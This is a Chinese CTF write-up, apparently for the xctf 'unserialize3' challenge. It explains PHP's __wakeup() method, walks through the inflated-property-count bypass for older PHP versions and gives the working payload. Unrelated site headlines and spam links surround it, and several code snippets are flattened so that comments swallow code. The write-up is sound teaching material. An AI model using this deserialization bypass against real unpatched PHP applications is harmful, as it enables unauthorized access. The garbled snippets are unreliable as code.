当前位置: 首页 > wzjs >正文

农业建设信息网站视频 播放网站怎么做

农业建设信息网站,视频 播放网站怎么做,广州市南沙区建设和交通局网站,怎么给网站做百度坐标定位进入题目页面如下 直接开审 <?php // 定义一个名为 xctf 的类 class xctf {// 声明一个公共属性 $flag&#xff0c;初始值为字符串 111public $flag 111;// 定义一个魔术方法 __wakeup()// 当对象被反序列化时&#xff0c;__wakeup() 方法会自动调用public function __wa…

进入题目页面如下

直接开审

<?php
// 定义一个名为 xctf 的类
class xctf {// 声明一个公共属性 $flag,初始值为字符串 '111'public $flag = '111';// 定义一个魔术方法 __wakeup()// 当对象被反序列化时,__wakeup() 方法会自动调用public function __wakeup() {// 终止脚本的执行,并输出字符串 'bad requests'exit('bad requests');}
}

__wakeup()方法在对象反序列化时会自动触发,但在这个方法中调用了exit()函数,会直接终止脚本执行并输出错误信息,这是一种防御机制,防止恶意的反序列化操作。

在 PHP 5.6.25 及更早版本、PHP 7.0.10 及更早版本中,如果对象属性的个数被声明得比实际多,__wakeup() 方法会被绕过。


__wakeup()魔术方法

PHP 中,__wakeup() 是一个重要的魔术方法,主要用于对象反序列化操作

__wakeup() 是 PHP 中的一个魔术方法,当使用 unserialize() 函数对序列化后的对象进行反序列化操作时,__wakeup() 方法会被自动调用。魔术方法是 PHP 预定义的、具有特殊名称和功能的方法,以双下划线 __ 开头,开发者可以在类中定义这些方法来实现特定的功能

当使用 unserialize() 函数将一个序列化的字符串反序列化为对象时,如果对象的类中定义了 __wakeup() 方法,该方法会在反序列化完成后自动被调用。通常用于重新建立对象在序列化过程中丢失的资源,例如重新连接数据库、初始化某些属性等

如果类中同时定义了 __unserialize()__wakeup() 方法,__unserialize() 会优先被调用,而 __wakeup() 将被忽略

__wakeup()方法工作机制

<?php
class Example {public $property = 'Initial Value';public function __wakeup() {echo "The __wakeup() method is called during unserialization.\n";// 可以在这里对对象的属性进行一些初始化或验证操作$this->property = 'Updated Value';}
}// 创建对象
$obj = new Example();
// 序列化对象
$serialized = serialize($obj);// 反序列化对象
$unserializedObj = unserialize($serialized);echo $unserializedObj->property; 
?>
  1. 定义了一个 Example 类,并在其中定义了 __wakeup() 方法。
  2. 创建 Example 类的对象 $obj 并进行序列化,得到序列化字符串 $serialized
  3. 使用 unserialize() 函数对 $serialized 进行反序列化操作,此时 __wakeup() 方法会自动被调用,在该方法中修改了对象的 $property 属性值。
  4. 最后输出反序列化后对象的 $property 属性值,显示为 Updated Value

在对象反序列化时,可能需要重新初始化一些资源,如数据库连接、文件句柄等。可以在 __wakeup() 方法中进行这些资源的初始化操作,确保对象在反序列化后能够正常使用这些资源。

class DatabaseConnection {private $connection;public function __wakeup() {// 重新建立数据库连接$this->connection = new mysqli('localhost', 'user', 'password', 'database');}
}
  • 在反序列化对象时,对对象的属性进行验证和清理,确保数据的合法性和安全性。检查属性值是否在合理范围内,对敏感信息进行加密等。

class User {public $age;public function __wakeup() {if ($this->age < 0 || $this->age > 120) {$this->age = 0; // 修正不合理的年龄值}}
}

在某些版本的 PHP 中(PHP 5.6.25 及更早版本、PHP 7.0.10 及更早版本),存在 __wakeup() 方法绕过漏洞。如果序列化字符串中表示对象属性个数的值被设置得比实际属性个数大,__wakeup() 方法将不会被调用。可以利用这个漏洞绕过 __wakeup() 方法中的安全检查或初始化逻辑,执行恶意操作。

class Vulnerable {public $secret = 'sensitive information';public function __wakeup() {if ($this->secret === 'malicious') {die('Unauthorized access');}}
}// 正常序列化
$obj = new Vulnerable();
$serialized = serialize($obj);// 构造绕过 __wakeup() 的序列化字符串
$bypassSerialized = str_replace('O:10:"Vulnerable":1:', 'O:10:"Vulnerable":2:', $serialized);// 反序列化绕过
$unserializedObj = unserialize($bypassSerialized);
echo $unserializedObj->secret; 

在上述代码中,通过修改序列化字符串中属性个数的值,绕过了 __wakeup() 方法的安全检查。


创建对象并序列化:首先创建 xctf 类的一个对象,然后对其进行序列化

<?php
class xctf {public $flag = '111';public function __wakeup() {exit('bad requests');}
}$obj = new xctf();
$serialized = serialize($obj);
echo $serialized;
?>

可以用下面这个在线工具运行上述代码

php在线运行,在线工具,在线编译IDE_w3cschool

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

 O:4:"xctf" 表示这是一个对象(O),类名是xctf,类名长度为4

1 表示对象有1个属性

s:4:"flag";s:3:"111"; 表示属性名为 flag(长度为 4),属性值为 111(长度为 3)

反序列化获取 flag,将修改后的序列化字符串作为code参数传递给反序列化代码

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

我们需要绕过 __wakeup()方法从而获得flag

通过构造一个序列化字符串,使得对象属性的声明个数大于实际个数,从而绕过 __wakeup()方法的执行

s:4:"flag";s:3:"111"; 表示属性名为 flag(长度为 4),属性值为 111(长度为 3)

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

最终得到flag

此绕过方法仅适用于 PHP 5.6.25 及更早版本、PHP 7.0.10 及更早版本。在更高版本中,该漏洞已被修复


反序列化

反序列化是指将序列化后的数据(如字节流、JSON、XML 等格式)转换回原始数据结构或对象状态的过程

反序列化的主要作用是将存储或传输中的数据恢复为原始的数据结构或对象,以便在程序中进一步使用

数据恢复:从文件、数据库中读取序列化后的数据并恢复为对象

网络通信:接收网络传输的字节流,并将其转换为本地可用的对象

缓存读取:从缓存中读取序列化的数据并反序列化

工作原理

读取序列化数据:从存储介质(如文件、数据库)或网络接收序列化后的数据。

解析数据格式:根据序列化时使用的格式(如 JSON、XML、字节流等),解析数据内容。

重建数据结构:根据解析结果,重新构造原始的数据结构或对象实例。

恢复对象状态:将解析后的数据赋值给对象的属性,恢复对象的原始状态。


PHP 的 unserialize() 函数用于将已序列化的字符串还原为 PHP 的值

用户可控输入:如果用户可以控制传入 unserialize() 的数据,可以通过构造恶意的序列化字符串来触发对象的魔术方法(如 __wakeup()__destruct() 等),从而执行任意代码。

魔术方法的利用:某些魔术方法(如 __wakeup()__destruct())在对象被反序列化或销毁时自动调用。如果这些方法中包含危险操作(如文件操作、命令执行等),可以利用这一点。


文章转载自:

http://44OmIPEP.hxxwq.cn
http://lEcWvXMU.hxxwq.cn
http://1VGj4vtY.hxxwq.cn
http://waVLOLpg.hxxwq.cn
http://fXPLzA10.hxxwq.cn
http://BbvX7Dtq.hxxwq.cn
http://NXqz2mKv.hxxwq.cn
http://xyRWvDRb.hxxwq.cn
http://d93XVQbZ.hxxwq.cn
http://xLNxJNJJ.hxxwq.cn
http://Q8qRoYUg.hxxwq.cn
http://JYb6matP.hxxwq.cn
http://XFMN1IcZ.hxxwq.cn
http://8GKrepGz.hxxwq.cn
http://juYJmBNA.hxxwq.cn
http://z8I87k0r.hxxwq.cn
http://OMsX9vp6.hxxwq.cn
http://T8FJFdQ8.hxxwq.cn
http://vcrxttdD.hxxwq.cn
http://gMGscHiu.hxxwq.cn
http://0YqHcCDk.hxxwq.cn
http://hUs0pk5n.hxxwq.cn
http://R86ZsAXe.hxxwq.cn
http://j9vQrDaQ.hxxwq.cn
http://j8lafuwh.hxxwq.cn
http://kXaPYLKN.hxxwq.cn
http://M10SD57z.hxxwq.cn
http://p74xnF7X.hxxwq.cn
http://5m7fnELo.hxxwq.cn
http://w7A07ebG.hxxwq.cn
http://www.dtcms.com/wzjs/642418.html

相关文章:

  • php给一个网站做后台用花生壳做网站
  • 可以建设彩票网站吗个人购物网站搭建
  • 物流网站建设模板下载wordpress前端登录插件
  • 织梦增加网站英文名称哪个网站做相册好
  • 建个网站 网页空间多少新华seo推广
  • vs2015 网站开发沈阳建设工程信息网站
  • 青岛百度网站建设微信crm系统哪家好
  • 建设企业网站的常见成本有哪些网站建设制作设计seo优化南宁
  • 毕业设计 建设网站有哪些专门做写字楼的网站
  • word里面网站超链接怎么做看男科哪家好
  • 品牌网站设计企业服务上海有名的网站建设公司
  • 模板建站配云服务器施工多久可以做网站
  • 北京网站建设公司内江县城做信息网站赚不赚钱
  • 公司网站建设介绍中文wordpress企业主题
  • 专业的网站公司到哪里找如何创建网站目录
  • 电子商务网站的主题及建设目标杭州软件公司排名
  • 设计企业网站哪家好做服装店网站的素材
  • 可以做音乐mv视频网站wordpress文章页图片模式
  • 公司建设网站价格淘宝客用wordpress好吗
  • 公司网站可以自己做么京津冀协同发展调研报告
  • 自己建设的网站有管理后台的登录台州网站快速优化排名
  • 专注做蔬菜的网站房子设计图片
  • 网站开发工程师职业定位厦门 微网站建设公司
  • wordpress外贸建站公司岚山网站建设公司
  • 莱芜网站建设方案公司工装装修公司排名
  • wordpress 停站看网站用什么软件
  • 毕业设计如何用dw做网站百度搜索 相关网站
  • 杭州四喜做网站建设么找国外人做网站
  • 网站站外推广方法网页设计与制作黑马程序员
  • wordpress建两个网站吗昆明建个网站哪家便宜